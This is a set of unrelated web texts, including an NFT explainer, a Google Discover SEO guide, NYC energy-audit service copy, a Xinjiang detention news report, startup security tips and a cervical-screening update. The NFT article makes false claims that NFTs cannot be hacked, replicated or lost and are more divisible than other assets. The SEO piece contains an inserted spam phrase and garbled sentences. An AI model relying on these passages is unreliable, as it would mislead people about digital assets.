Incidentally, this is why we call some plans “roadmaps” – their purpose is to show potential alternative routes and to allow for changing course while still heading towards the destination. If our plan has only one path from A to B, then it’s not a roadmap. If the plan says “build X” rather than “solve problem Y”, then it’s not a roadmap.
I’m not saying you always have to drive (i.e. use an agile approach) – there are times when the train makes sense, for example when I travel to Montreal for a concert I know the destination isn’t going to change and I would rather get there with minimal stress. In the same way, if we know exactly what we need to build and don’t expect any changes along the way, then we could create a plan, write detailed specifications, and do all the design upfront … but, in our industry, how often can we go from A to B with no learning, no discoveries, no need to adapt?
So: start with the end in mind (understand where you want to go and why); consider what your constraints are (e.g. time) and how you expect to react to new information (do you want to accommodate discoveries or follow the plan); then choose your vehicle and route accordingly.
*Yes, I know the second habit that Stephen Covey describes in “The 7 Habits of Highly Effective People” is “Begin…” but he has a registered trademark for that phrase so I’m avoiding it, and anyway I’m not using the phrase in the way he does.
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You would normally have access to this program, but unfortunately, the audio for this show is not currently available. We are striving to bring online as many programs from our archives as possible. Thank you for your patience!
Program: #01-09 Air Date: Feb 25, 2000
In honor of the new exhibit opening at the Metropolitan Museum of Art in New York, we present music from the time of Vermeer from a special recording project produced by Radio Nederland; many other musical and cultural events will be presented in conjunction with this exhibit.
NOTE: All of the music on this program is in
conjunction with the exhibit "Vermeer and the
Delft School" at the Metropolitan Museum of
Art in New York from March 8 through May 27,
2001. The recording Music in the Light of Vermeer
produced by Radio Nederlands is available
exclusively at the Museum; you may order it at:
Or by calling 1-800-468-7386.
I. From Music in the Light of Vermeer
--JAN PIETERSZOON SWEELINCK: Est-ce mars.
Pieter-Jan Belder, harpsichord.
--SWEELINCK (1562-1621): Pseaume 90.
Netherlands Chamber Choir/Paul van Nevel, dir.
--JACOB van EIJCK (c.1590-1657): Preludium ofte Voorspel.
Marijke Miessen, recorder.
--ADRIANUS VALERIUS (c.1570-1625): Engels malsims.
Toyohiko Satoh, lute.
--SWEELINCK: Malle Symen.
Peter van Dijk, organ.
--CONSTANTIJN HUYGENS (1596-1687): Riposta dalla finestre.
Anne Grimm, soprano.
II. From Music in the Light of Vermeer
--JACOB van EIJCK: Bravade.
Heiko ter Schegget, recorder.
--NICOLAS VALLET (c.1585-c.1650): Carillon de village.
Toyohiko Satoh, lute.
--HUYGENS: De profundis clamavi.
Peter Kooij, bass.
--SWEELINCK: Mein junges Leben hat ein End.
Zvi Meniker, harpsichord.
III. From Early Music from the Netherlands, NM Classics CD 92101.
Trio de L'Oustal: Heiko ter Schegget, recorder/Mieneke van
der Velden, viola da gamba/Zvi Meniker, harpsichord.
--JACOB van EIJCK: Onder der Linde groene.
--SWEELINCK: Onder de Linde groen.
--JACOB van EIJCK: Doen Daphne d'overschoone Maeght.
--SWEELINCK: More palatino.
JAN PIETERSZOON SWEELINCK (1562-1621), JACOB van EIJCK (c.1590-1657), ADRIANUS VALERIUS (c.1570-1625), CONSTANTIJN HUYGENS (1596-1687), NICOLAS VALLET (c.1585-c.1650)
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If a building wants to reduce its energy footprint and costs, conducting an energy assessment or audit – and introducing energy efficient fixes – offers cost-saving sense. Of course, Local Law 87 ( LL87) requires that every large building perform an energy audit, but L+M Energy takes that assessment several steps further, in both completeness and the delivery of greater savings.
We first look at all of the energy-related details, from the kinds of light bulbs used in hallways to window air leaks and advancements in relevant energy technology in order to produce a meticulous report. We then can assist you in implementing the energy efficient measures with the same attention to detail. The result is up to 40% reduction in energy costs and an up-to-date-energy profile for the building.
This speedy investigation focuses on a single energy challenge and the cost saving solution. An example is the review of the heating system to verify its current condition and assess the benefits of replacing the system vs. maintaining it. The study takes in consideration the maintenance history, fuel costs, existing vs. new system efficiency, and other factors.
Energy Audits: The Basics
An energy audit is a study of the building’s energy consuming systems. It includes a building survey of systems and operations, breakdown of energy sources and end use, and identification of energy efficiency measures for each energy system. It also includes the range of savings and costs for the energy efficiency measures, a spotlight on operational discrepancies, and the setting of priorities for limited resources.
Energy Audits: Level 1
Energy audits vary in depth, depending on needs of the building. Per industry standards, there are three types of audits:
Level 1 – Walk-Through Analysis/Preliminary Audit
The Level 1 audit involves minimal interviews, a brief review of facility utility bills and other operating data, and a walk-through of the facility, all geared toward the identification of glaring areas of energy waste or inefficiency. We prepare a preliminary energy use analysis and a report detailing low-cost/no-cost measures and potential capital improvements for further study. With the focus on major problem areas, we then describe corrective measures and provide quick estimates of implementation costs, potential operating cost savings, and simple payback periods.
Energy Audits: Levels 2 and 3
Level 2 – Energy Survey and Analysis Audit
This audit includes the findings of Level 1 along with in-depth energy calculations and financial analysis of proposed energy efficiency measures. Our detailed analysis includes a Life Cycle Cost Analysis which is a review of two to three years of utility bills to determine the utility cost including the demand charges. Finally, we identify all energy conservation measures that work for the building given its operating parameters.
Level 3 – Detailed Analysis of Capital Intensive Modifications
This level of engineering analysis focuses on the potential capital-intensive projects identified in the Level 2 analysis and involves more detailed field data gathering as well as a more rigorous engineering analysis. For more accurate results, this level also includes software analysis.
Commissioning and Retro-Commissioning
A quality assurance process for new construction projects, commissioning begins with pre-design and continues through design, construction, and early operation. It is ensures that building systems and equipment have been designed, installed, and tested to perform in accordance with the design intent.
Retro-commissioning is a systematic process for identifying and implementing building operational and maintenance improvements to ensure continued good performance. It focuses on operations and maintenance improvements and diagnostic testing, although needed capital improvements may be identified and recommended through the process.
Energy Efficiency Report: Local Law 87
Local Law 87 mandates that buildings over 50,000 gross square feet undergo periodic energy audit and retro-commissioning measures. The intent is to inform owners of their energy consumption through energy audits, and retro-commissioning.
In addition to benchmarking annual energy and water consumption, energy audits and retro-commissioning will give building owners a robust understanding of their buildings’ performance, eventually shifting the market towards increasingly efficient, high-performing buildings.
In summary, LL87’s energy audit and retro-commissioning process accomplishes the following:
- Determining if a building needs to comply, and what year it is due.
- Conducting an energy audit and retro-commissioning of base building systems and complete an Energy Efficiency Report (EER) electronically.
- Submitting the EER once every ten years to NYC by December 31.
Benchmarking (Local Laws 84 and 133)
In accordance with the NYC Benchmarking Law, we’ll assist owners and managers of large buildings in the annual measurement of their energy and water consumption using a process called benchmarking. The law requires owners to enter their yearly energy and water use in the EPA’s online tool, ENERGY STAR Portfolio Manager®. Owners can then use the tool to submit data to the City. Our data informs owners about a building’s energy and water consumption compared to similar buildings and tracks progress yearly to help in energy efficiency planning.
Benchmarking data is also disclosed publicly, analyzed in reports, visualized in the NYC Energy and Water Performance Map, included in energy efficiency policy development and used to develop free resources such as the NYC Retrofit Accelerator and Community Retrofit NYC to help building owners save energy and money.
Lighting Upgrades and Sub-metering (Local Law 88)
Lighting in commercial, institutional and civic buildings accounts for almost 18 percent of energy use and greenhouse gas emissions in New York City buildings. Employing dramatic improvements in lighting technology, we can help significantly reduce energy consumption by installing more efficient lighting systems and realize major cost savings.
Many buildings depend on a single meter to monitor electricity consumption. Which means that non-residential tenants are billed a standard rate regardless of their actual consumption. They would likely reduce their energy consumption if energy use information was available. Local Law 88 of 2009 (LL88), and its subsequent expansions with Local Laws 132 and 134 of 2016 are part of the Greener, Greater Buildings Plan (GGBP). They bring together requirements for both lighting upgrades and sub-metering that will help buildings achieve significant energy savings.
The Climate Mobilization Act
L+M can help you meet the demanding requirements of the Climate Mobilization Act (CMA) which represents New York City’s commitment to carbon neutrality by 2050. Central to CMA is Local Law 97 which places emission limits on New York City’s large commercial and residential buildings. The bill applies to buildings 25,000 square feet and larger as well as to two or more buildings on the same tax lot which together exceed 50,000 square feet.
Excluded are houses of worship, buildings with one or more rent-regulated units, and other forms of affordable housing. The Office of Building Energy and Emissions Performance will be implementing and enforcing CMA policies.
Local Law 97 (LL97) outlines two introductory compliance phases, with an initial period of 2024-2029. Initial compliance limits are fairly rigid, and are set to target those New York City buildings with the highest emission intensity levels.
How L+M Helps with CMA Compliance
L+M can provide the building with a LL97 Assessment to show the building where it is standing in term of annual fines (Based on Latest Benchmarking results) and what steps needs to be taken to reach 2024 without any penalties.
The LL97 Assessment Report comes in two levels:
- Level I: Simple manual calculations that guarantee Zero Penalty based on the recommended items. Recommendations will be restricted to the products selected to guarantee the results.
- Level II: Full system energy modeling aimed toward providing the client with multiple options to achieve the ZERO penalty zone. The client will be provided with the model and different options to achieve the required results. The model will allow the client to see multiple options per system, the cost associated with each option, and the overall effect on the building.
CMA Second Compliance Period Time Limits
Limits for the second compliance period of 2030-2034, meanwhile, are in line with the City’s interim emissions reduction goal of 40% by 2030. The Office of Building Energy and Emissions Performance will have some discretion in determining the compliance path and the carbon calculation process through the rulemaking process, but the 40% reduction limit is explicit in the legislation, with a requirement that any adjustments to emissions limits be at least as stringent as those laid out in the bill.
Other CMA Local Laws
CMA also includes:
- Local Laws 92 & 94 – Green Roofs & Solar PV: Requiring green roofs solar PV systems on certain new construction and renovation projects.
- Local Law 95 – Building Labeling: Adjusting metrics used for letter grades assessing building energy performance.
- Local Law 96 – PACE: Establishing clean energy financing tools for building owners (more on this below).
- Local Law 98 – Wind Energy: Obliging the Department of Buildings to include wind energy generation in its toolbox of renewable energy technologies.
Helping building owners navigate this evolving regulatory landscape are:
- NYC Retrofit Accelerator, which supports owners’ efforts to improve their buildings’ energy efficiency
- NYSERDA at the state level, which has programs that put buildings on the path to energy efficiency
- The Building Energy Exchange, which ensures that owners have a thorough understanding of options to improve their buildings’ energy usage profiles.
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The 7 Benefits of NFTs
NFTs, or non-fungible tokens, have been gaining in popularity lately. While some people are still trying to wrap their heads around what they are, others are already taking advantage of the benefits that NFTs offer. In this article, we’ll explore 7 of those benefits.
What are NFTs?
NFTs are non-fungible tokens that can be used to represent digital assets. These assets can be anything from artwork to digital collectibles. NFTs are stored on a blockchain, which is a decentralized database that allows for secure and transparent transactions.
One of the benefits of NFTs is that they can be easily bought and sold. Unlike physical assets, NFTs can be transferred quickly and easily. This makes them ideal for trading or selling digital assets.
Another benefit of NFTs is that they are immutable. This means that once an NFT is created, it cannot be changed or tampered with. This provides a high level of security and eliminates the risk of fraud.
Overall, NFTs offer a number of advantages over traditional assets. They are easy to buy and sell, and they offer a high level of security.
The benefits of NFTs
NFTs have a number of advantages over traditional assets. For one, they are much more easily transferable. While traditional assets can take days or even weeks to settle, NFTs can be transferred almost instantaneously. This makes them ideal for fast-moving markets or for situations where time is of the essence.
Another advantage of NFTs is that they can be stored more securely. Because they are digital, they can be stored on a blockchain which is virtually impossible to hack. This gives them an extra layer of security that other assets don’t have.
Finally, NFTs are also more divisible than traditional assets. This means that they can be divided into smaller units, which makes them more liquid and easier to trade. For example, an NFT could be divided into 10,000 units, each of which could be traded separately. This would not be possible with a traditional asset such as a painting or a piece of jewelry.
Overall, NFTs have a number of advantages over traditional assets. They are more easily transferable, more secure, and more divisible. This makes them ideal for a variety of different applications.
How to get started with NFTs
If you’re interested in getting started with NFTs, there are a few things you need to know. First, you’ll need to find an exchange that supports NFTs. Not all exchanges do, so it’s important to check before you sign up.
Once you’ve found an exchange that supports NFTs, you’ll need to create an account and deposit some funds. Once your account is funded, you’ll be able to buy and sell NFTs.
It’s also important to understand the fees associated with NFTs. When you buy or sell an NFT, you’ll usually have to pay a small fee. These fees can vary depending on the exchange and the NFT itself.
Overall, getting started with NFTs is relatively simple. However, it’s important to do your research and understand the fees involved before you get started.
Things to consider before buying an NFT
1. Things to consider before buying an NFT
When it comes to buying an NFT, there are a few things you need to take into consideration. The first is what the NFT represents. Is it a digital asset, like a piece of art or music? Or is it a physical item, like a ticket to an event? You need to make sure that the NFT you’re buying is something that you actually want or need.
The second thing to consider is the price. NFTs can range in price from a few dollars to millions of dollars. You need to make sure that you’re comfortable with the price before you buy.
The third thing to consider is the platform. There are many different platforms that sell NFTs, and each one has its own rules and regulations. Make sure you understand the platform you’re using before you buy an NFT.
Overall, there are a few things you need to take into consideration before buying an NFT. Make sure you know what you’re buying, that you’re comfortable with the price, and that you understand the platform you’re using.
Where to buy NFTs
There are a few different places where you can buy NFTs. The most popular place to buy NFTs is on the Ethereum blockchain. There are also a few other platforms that offer NFTs, such as WAX and EOSIO.
When you purchase an NFT, you are purchasing a token that represents a digital asset. The asset can be anything from a piece of art to a video game character. The sky is the limit when it comes to the types of assets that can be represented by an NFT.
One of the benefits of NFTs is that they are permanent and cannot be replicated. This makes them unique and collectible. NFTs also offer the ability to own digital assets that would otherwise be impossible to own. For example, you could own a digital artwork that was created by your favorite artist.
Another benefit of NFTs is that they are stored on the blockchain, which is a secure and decentralized platform. This means that your NFT will not be lost or stolen if the platform where it is stored goes down.
Overall, NFTs offer many benefits over traditional assets. They are unique, collectible, and secure. If you are interested in purchasing
How to store your NFTs
If you’re considering purchasing an NFT, you may be wondering how to store it. Fortunately, there are a few different options available.
One option is to store your NFT on a blockchain. This is the most secure option, as it means that your NFT will be stored on a distributed ledger that is very difficult to hack. However, it can be difficult to find a blockchain that supports NFTs.
Another option is to use an NFT marketplace. These platforms usually have built-in wallets that allow you to store your NFTs securely. However, it is important to do your research before using an NFT marketplace, as some of them have been known to scam users.
Finally, you can also store your NFTs offline. This is the least secure option, but it can be convenient if you don’t want to deal with the hassle of setting up a blockchain or finding a reputable NFT marketplace. All you need to do is download an NFT wallet and save your NFTs to your computer or another storage device.
NFTs are a new and exciting technology with a lot of potential. In this article, we’ve looked at 7 benefits of NFTs that make them worth considering for businesses and individuals alike. From their immutability and transparency to their ability to be resold or leased, NFTs offer a lot of advantages over traditional assets. If you’re thinking about making the switch to NFTs, we hope this article has helped you understand some of the benefits they can offer.
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Hindi is the world's third most commonly used language after Chinese and English. It is a modern Indo-European language spoken as a first or second language by almost a half billion people in India, as well as other parts of Asia, Africa, the Americas, Europe, and Oceania.
This book's primary aim is to describe Hindi sounds and their pattern. Little previous knowledge of phonology is assumed. The book is comprehensive and detailed. Traditional and current concepts and technical terms are explained. The various chapters discusse the historical and sociological background of Hindi, the nature of Hindi lexicon both native and borrowed, the conventions of the Devanagari symbols (since in the text examples are also transcribed in the Devanagari), the articulation of Hindi sounds and their characterization in terms of distinctive features, the concept of phonemes, the significant allophones of Hindi, the natural classes of Hindi sounds, Hindi syllables and their structure, and Hindi stress.
The author, a native speaker of Hindi, is professor of linguistics at Georgetown University. He has published extensively in the areas of anthropology, linguistics, and literature.
ISBN 9783895869747. LINCOM Studies in Indo-European Linguistics 12. 180pp. 2000.
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It happens thousands of times every month in conference rooms around the world. The board of a company gets together to meet and one of the administrative topics to cover is approval of option grants for new employees as well as existing ones who are getting additional grants. It is usually a non-controversial process (although we’ve sat in on some interesting discussions over the years….).
In preparing for this someone on the executive team will prepare a spreadsheet or put together a presentation slide with basic information for the grants including employee name, title, and number of options proposed. Unfortunately these sheets usually leave out a information that would be helpful to the board in reviewing the proposed grants, and as a result can lead to a longer than necessary discussion. These sheets are also an administrative hassle as they often get recreated from scratch for each meeting.
In an effort to help startups save time on this task while improving the process used for it, we have attached an Options Approval Template we recommend using for board meetings. We reviewed this with a number of experienced board members and finance executives, and believe it contains the fields of information most commonly desired when evaluating option grants. It’s not perfect, but based on the review it is a far sight better than what is generally used today.
The spreadsheet includes two templates; the second is a slightly abbreviated version of the first and you should determine which is the most appropriate for your specific situation. The shorter template removes compensation and related fields and may be appropriate if you have people in the meeting who should not see that data, or if you do not feel the board would want to know those details.
The first tab of the spreadsheet provides definitions and quick instructions for how to work with the templates and information on each of the fields. The instructions are based on the detailed template but it should be simple to recognize the parts to ignore if you use the shorter form. The second tab is the full template itself. The third tab is the abbreviated template. The fourth tab is an example with the template filled out which you can delete after reviewing. We recommend you copy the template as a new tab in the spreadsheet and give this copy a name related to the date of the meeting for which it will be used. Create a new tab for each meeting so eventually the spreadsheet will have a tab for each of the board meetings where options were approved.
If you have any questions related to the attached spreadsheet please comment to this post and we’ll reply with more information as needed. Feel free to share it with anyone you like and change it as you see fit, or better yet, send them to our site to download the template. Our only request is that if you make changes you feel improve the spreadsheet, PLEASE let us know what these are or send us a copy of the revised document so we can check it out and consider including the changes in the master copy provided here.
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“Who coined the term ‘willing suspension of disbelief’? Samuel Taylor Coleridge in his critical treatise Biographia Literaria (1817). Coleridge used the term to refer to the ‘poetic faith’ of a reader in accepting imaginary elements in a literary work.”
Excerpted from: Corey, Melinda, and George Ochoa. Literature: The New York Public Library Book of Answers. New York: Simon and Schuster, 1993.
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Alums’ Produce-Delivery Service Aims to Reduce Hunger
By Alex Stoller
Lopsided tomatoes. Misshapen eggplants. Carrots with a funny curve to them.
The still-tasty produce that local farms don’t sell can be delivered to your doorstep—with an equal amount going to a hungry family, through a new business co-founded by three Terps.
Hungry Harvest, launched in the spring, is collecting surplus food from local community-supported agriculture (CSA) operations, then compiling into five- or 10-pound bags for customers, and dropping them off every Sunday. It reduces waste, supports the farms, offers a service to people interested in locally grown food and provides fresh food to those in need, including individuals, families, local food banks and soup kitchens.
“You can sell recovered produce because it’s perfectly salvageable,” says Evan Lutz ’14.
The effort is born out of the Food Recovery Network, Lutz’s fellow co-founder Ben Simon ’14 started at Maryland. That nonprofit is a network of volunteer students who collect unserved food from dining halls, concession stands and fraternity and sorority houses, and transport it to D.C.-area homeless shelters.
Simon is now executive director of the Food Recovery Network, which now has chapters at 100 colleges across 26 states. Since its 2011 founding, it has recovered nearly 450,000 pounds of food, everything from salmon to fruit to French fries.
Then the duo helped start the Recovered Food Community-Supported Agriculture initiative at UMD in the Spring 2014 semester. It sells fruits and vegetables gathered from farms and grocery stores to students and employees on campus. It also donates produce to hungry families.
The new for-profit business is based on those two models, and with the help of their third co-founder, John Zamora, who will be graduating this December, the team targets three audiences: university students, families in Montgomery and Baltimore counties, and larger companies looking to give back to their communities.
“During college I really believed in this concept of doing business for good,” says Lutz. “I saw opportunity to pursue what my passion was.”
They feel strongly about the need: Approximately 24 million Americans live in food deserts, areas where the nearest supermarket is more than a quarter-mile away, the median household income is 185 percent under the federal poverty level, and at least 40 percent of households have no vehicle available. At the same time, 6 billion pounds of produce go to waste in this country annually.
“I was enchanted with the idea that my food would also feed others,” says Hungry Harvest customer Arlene Montemarano of Silver Spring, who used other CSAs before finding this one. “[This system] looks at the overall food stream in this country and how much of it is wasted.” She says she loves the flavorful produce she gets weekly and knowing her purchases are making a difference in the community.
Hungry Harvest has recovered over 60,000 pounds of food thus far, and it continues to grow. In the next few months, Lutz and his team plan to move their business from a supplier in Southern Maryland to a warehouse in Central Maryland.
“[The warehouse] will make our process of recovering food so much easier,” Lutz says. “It will make sorting and aggregating bags into a much more efficient process to get our customers more timely, fresher and higher-quality produce.”
The team’s vision is to create jobs for people getting back on their feet, to take steps in promoting healthy eating, to continue giving back and to eliminate negative stigmas associated with recovered food.
In the next couple of years, Lutz hopes to establish a food donation program to further advance his business. Families and Hungry Harvest employees will be able to donate food, Lutz and his team will then distribute the donations as part of the produce bags that go to families in need.
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Since its launch in 2018, Google Discover has registered over 800 million monthly active users. First launched in 2016 under the Argentina Email Address name Google Feed, Google has since revamped this functionality of the Google mobile app to come up with its current version: Google Discover . With Discover, Google has taken the verb “googling” from active to passive by completely eliminating the search function. With this format, Google selects articles for each user based on their interests, recent searches, and location. Google Discover is available on Android, iPhone and iPad via the Google mobile application or in your smartphone browser on google.fr Google Discover behaves similarly to AI-driven social networks like TikTok, where an algorithm personalizes a user’s feed based on their interests.
These personalized results are continually updated with new content suggestions based on: How to optimize your site for Google Discover? As with any traffic-generating feature linked to Google, SEOs around the world naturally try to understand it and, most importantly, optimize it. Even though the first iteration of Discover was released in 2016, there is still a lot of unknowns surrounding what Google Discover means for SEO . Optimization for Google Discover is not, however, completely left to chance! The best way to optimize your content for Google Discover is to keep doing what you’ve always done. Most importantly, keep producing content with the user in mind (not Google’s bots). How does content appear in Google Discover? To appear in the Google Discover feed, a piece of content must meet the following criteria:
What is Google Discover?
Get indexed in Google. Don’t break Google’s rules for search functionality. Ok, you are going to tell me that it does not help you much … and you are right Let’s try to go a little further. How to optimize content for Google Discover? When you create SEO optimized content, you naturally optimize it for Google Discover because it largely follows traditional ranking criteria. However, there are several optimization practices that are especially important for showing up in a user’s Google Discover feed. Optimize your content for EAT Need someone refresh your memory? The EAT triptych means: EAT is the basis of good SEO and is gradually replacing the traditional foundations: technical – content – popularity, which have become a standard to be respected beyond SEO.
Without these three building blocks, you will not be well positioned. On the other hand, if you base your SEO strategy on the 3 EAT pillars, Google will reward your content by allowing it to appear in Google Discover. Don’t build your headlines for clickbait Google will naturally reject anything that looks like clickbait or spam. A good page title should be honest and conveys the content of the article without undue promises or exaggeration. Include high quality images The Google Discover service has abandoned the meta description in favor of images. (a picture is worth a thousand words… or 120 to 150 characters.) Since Google Discover relies heavily on visuals to describe the topic of the article, incorporating compelling images into your content is essential to keep it there. appear.
How to optimize your site for Google Discover?
Optimize for mobile We already know that optimization for smartphones is an essential factor for SEO and in digital marketing in general. The arrival of Google Discover puts more emphasis on this factor, as this feature is reserved for mobiles. You can take Google’s mobile optimization test to find out if your site is optimized. But honestly, at the time we are speaking, if your site is not designed for smartphones, there is a big … big … BIG PROBLEM! Produce content that sticks to the news Google Discover aims to bring hot, topical content to users’ fingertips as quickly as possible. In this sense, remember to feed the AI with the latest news relating to your industry. Indeed, to appear in Google Discover, we recommend that you produce content that sticks to the news.
Don’t hesitate to take a look at current trends on Google Trends to identify hot topics. A study found that the majority of URLs in Google Discover only receive traffic for 3-4 days – most of this traffic occurs on the first or second day after posting. While Google Discover has the potential to impact all industries, some have been impacted more than others on this feature. A separate study found that 46% of a sample of URLs from Google Discover were news sites and 44% of e-shopping sites. In contrast, pages in the following industries only represent 1 to 2% of URLs appearing in Google Discover: If your site is in any of the above domains, the majority of your traffic will still come from Google search, but not necessarily from Discover. Keep in mind, however, that 1% is still 1 million clicks per year
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The fathers of the desert had a long and asiduous strive against selfishness and self orientation. This effort implies a change of our mind, the adoption of another kind of logic than the current one. The first difficulty therefore is not that of accomplishment, but of settling our mind in a different framework. From abba Pimen is kept the following apophthegm:
À brother told abba Pimen: I found a very quiet place isolated from the brothers, do you allow me to go and stay there?“
The elder said:
`Stay wherever you don`t disturb at all your brother.`
The judgment of the brother is predictable and natural. He seeks é place where he can live in peace undisturbed without thinking that he may be a source of dirturbance for the others.
Abba Pimen doesn`t do anything else than changing his perspective and asks him the same question from a totally opposite position
This type of precaution, the concern for the other one and the attention focused on the neighbour are manifestationbs of a sound humbleness.
In their struggle against the differenjt logic of this fallen world the fathers choose the path of humility. A society may be improved as é result of exterior coercions, which may limit the negatiuve excess (in the case of é good legislation or at least decent) The profound change is possible only from within, being the collective result of all members. The fathers of the desert perceived this, that is why the monasteries are the joint result of the efforts of the community.
What makes possible the general change of é community is first of all humbleness. This is what gives opportunity to the others to manifest themselves and on a personal level it prepares the ground for love, which is impossible without the emptying of oneself brought by humbleness.
Contemporary society starting from a vulgarized psychology understood in a wrong way focus on the fulfillment of the personal needs.
It is disregarded the fact that need doesn`t mean only to receivce but also to know how to offer. This is the meaning of Christ`s word that, although it is not found in the Gospels, it is transmitted by the Acts of the Apostles.
We must help the weak, remembering the words the Lord Jesus himself said: ‘It is more blessed to give than to receive. (Acts 20, 35).
It is intensely sought with tremendous effort the self fulfillment but in a crippled way, permanently focused on our own self. The old ascetics understood that this is a clogged path, lacking openings and which doesn`t lead anywhere. A journey with the head bent down seeking something which can not be found there.
The path therefore is easy to expose, but it requires a lot of effort to change your mind and be able to turn your attention towards the other. God and our neighbour are the source of our accomplishment, this is the recipe consistently applied by the fathers of the desert.
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Exploring Public Media in the Peabody Awards Collection
The Peabody Award is the most distinguished award in our business. - Barbara Walters, 1995 Peabody Award acceptance speech
You count your Emmys but you cherish your Peabodys. - Walter Cronkite
The Peabody Awards do a great service to journalism by taking it seriously. - Bill Moyers
The Peabody Awards are the oldest award given for electronic media and are regarded by many as the most prestigious. - Jeffrey P. Jones, Director of the Peabody Awards
The Peabody Awards Collection in the American Archive of Public Broadcasting presents a unique aggregation of public media: seven decades' worth of programs self-selected by broadcasters as their best work over the previous year and submitted for prestigious George Foster Peabody Awards. This collection, comprising nearly 4,000 digitized public television and radio programs, contains programs created between 1941 and 2003 by more than 230 different local, state, and regional public radio and television stations and producers in forty-six states, in addition to Puerto Rico and the District of Columbia. One hundred seventy-three of the programs are Peabody winners. Approximately twelve percent were broadcast nationally; many were seen only in their respective local viewing areas. The collection includes documentaries, public affairs programs, and science, health, children’s, and cultural programming.
This exhibit provides several ways to explore the AAPB’s Peabody Awards Collection, including by decade, location, and Peabody submission category. These pages feature programs available for online access in the AAPB along with a list of all Peabody Awards winners in the digitized collection, those available online as well as those accessible only on the premises of the Library of Congress, GBH and UGA. Finally, the exhibit provides a brief history of the Peabody Awards and a description of the much larger Peabody Awards Collection at the University of Georgia.
The AAPB and University of Georgia thank the National Historical Publications and Records Commission for the generous grant that funded the digitization of the Peabody Awards Collection and the curation of this exhibit.
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World Bulletin / News Desk
China is expanding its “political re-education” camps targeting Turkic-Muslim Uighurs in Xinjiang region, according to a Wall Street Journal report.
The report, published on Friday, said China has sharply expanded an internment program that initially targeted ethnic Uighur extremists but is now confining vast numbers of the largely Muslim minority group, including the secular, old and infirm, at camps across the country’s northwest.
Xinjiang region is home to around 10 million Uighurs. The Turkic Muslim group which makes up around 45 percent of the population of Xinjiang, has long accused China’s authorities for cultural, religious and economic discrimination.
Satellite images and a specialist in photo analysis show that camps have been growing, the report said.
The report said up to one million people, or about 7 percent of the Muslim population in China’s Xinjiang region, have now been incarcerated in an expanding network of “political re-education” camps, according to U.S. officials and United Nations experts.
The full extent of the internment program was long obscured because many Uighurs feared speaking out, the report said.
It said six former inmates interviewed described how they or other detainees had been bound to chairs and deprived of adequate food.
“They would also tell us about religion, saying there is no such thing as religion, why do you believe in religion, there is no God,” said Ablikim, a 22-year-old Uighur former inmate.
The report said three dozen relatives of detainees were interviewed, five of whom reported that family members had died in camps or soon after their release. Many said they had struggled to determine where their relatives were being held and the state of their health.
A senior Chinese official, Hu Lianhe of the United Front Work Department, publicly acknowledged the existence of the camps for the first time this week but said they were “vocational training centers”, the report added.
Responding to questions from a UN panel, Hu said there is no “arbitrary detention” in Xinjiang and denied one million people were being held. He didn’t say how many people were in the centers.
The report said many experts on the region and Uighur activists say unrest there is driven by China’s heavy-handed policing, strict limits on religious activity, and preferential policies for non-Uighur migrants to the region.
China stepped up many of those restrictions in the past two years, banning men from growing beards and women from wearing veils, and introducing what many experts regard as the world’s most extensive electronic surveillance program, it added.
Other former inmates interviewed said they were instructed that they should not pray, keep a copy of the Quran or fast during Ramadan. Some said they were forced to eat pork, which is forbidden in Islam.Güncelleme Tarihi: 19 Ağustos 2018, 16:38
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Time is the hottest commodity at every startup. Everyone wears at least four different hats, and you need every second you can get to make sure things get done. The intense need to maximize productivity can introduce the temptation to neglect security concerns, or make them an afterthought. Some call this the security paradox: you need time to create work worth protecting, but you also need time to protect that work.
This paradox has helped drive demand for a so-called security as a service (SECaaS), which is expected to grow about 19% annually through 2022. This model saves businesses time and money and is gaining in user friendliness — so companies can implement processes to help prevent losses to cybercrime. That said, here are some best pratctices that SECaaS providers can help you with.
Startups Don’t Have to Be Fort Knox
You don’t need to be a digital Fort Knox to protect yourself from most cybercrime. The most important steps are the basic ones — to gain both the trust of your customers and generally deter hackers.
You can build public security measures into your app to build your users’ confidence in you and deter hackers. A good foundation to start is:
- Use two-factor authentication – It detects and deters potentially fraudulent users from wreaking havoc on your site or app. Using a service like RingCaptcha, all it takes is a snippet of code copied and pasted into your platform and you can begin verifying your users in minutes.
- Enforce best practices for passwords – Enforcing a minimum password strength and logging users out of sessions when they change their passwords shows that you take security seriously at the user level.
- Publish your security policy – Make your processes and incident response plan available to the public. Include any relevant certifications, like FedRAMP, to demonstrate your compliance with industry standards and commitment to excellence.
These are some of the basics, and you can build on these steps based on what your specific company needs.
Guard Internal Assets
SECaas products can protect sensitive internal information like company policies and financial documents. While security needs differ from company to company, here are some of the basics:
- Back up your data – Protect your organization against ransomware by keeping extra copies of your files; one example iDrive, updates in real time, so you don’t even need to spend time manually managing the service.
- Secure your internal accounts –This means using a random string of different numbers and letters for every account, and not storing passwords in a file where hackers can access them (like on the cloud); while you can use a service like 1Password to keep all your passwords in one place, keep in mind that services in this category have experienced breaches.
- Keep your firewall and anti-virus software up to date – A firewall keeps out unauthorized users, while an anti-virus program detects viruses and other potential cyber threats.
These services do the day-to-day maintenance of your security work — so you can spend your time with your product.
Reward Secure Behavior
While human resources departments increasingly require employees to sit through computer-based training in security best practices, the apps don’t exactly force people to comply with what they learn.
However, you can set up incentives that reward those who comply — and even make it fun to do so.
- Use a rewards system – You can give rewards to employees who go above and beyond in the realm of secure practices. You can even do this for team members who are geographically remote using Delight.
- Go for bug bounties – A growing number of security vendors maintain bug bounty programs, which provide recognition and even compensation to those who report bugs. Making a point of participating in these initiatives just might motivate your users to report security issues.
- Gamify – You can take the rewards to another level through gamification; Data Defender includes this in its security, with badges to reward the most security-conscious employees.
Anything you can do to motivate your employees to practice secure behavior goes a long way.
Security for Startups
The security paradox exists because security and productivity used to be at odds, and yet you needed both for a company to succeed. But in the growing SaaS economy, security and productivity don’t have to be at odds. You don’t need to hire an IT team or develop complicated code to keep your data safe — external services can do it for you.
One option in this space might appeal to you if you enjoyed reading this blog post: RingCaptcha’s SMS two-factor authentication for use with third parties outside of your organization — please click here to learn more about it.
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Women’s Health Minister Maree Todd updates Parliament on remedying screening system issues.
The records of just under 200,000 people excluded from the cervical screening programme are to be individually reviewed to provide reassurance that their exclusions were correct.
Women’s Health Minister Maree Todd announced the measure in a statement to updating Parliament on progress in addressing errors in the screening system. This follows the announcement in June that a small number of women wrongly excluded from screening had subsequently developed cancer, one of whom sadly died.
Health boards have already written to around 600 women following an audit of those who had been excluded from the cervical screening programme and whose records show they have, or may have had, sub-total hysterectomies.
The Adverse Event Management Team of expert clinicians set up to address inappropriate exclusions from screening has now recommended that everyone who has been permanently excluded from the cervical screening programme over several decades should also have their records reviewed.
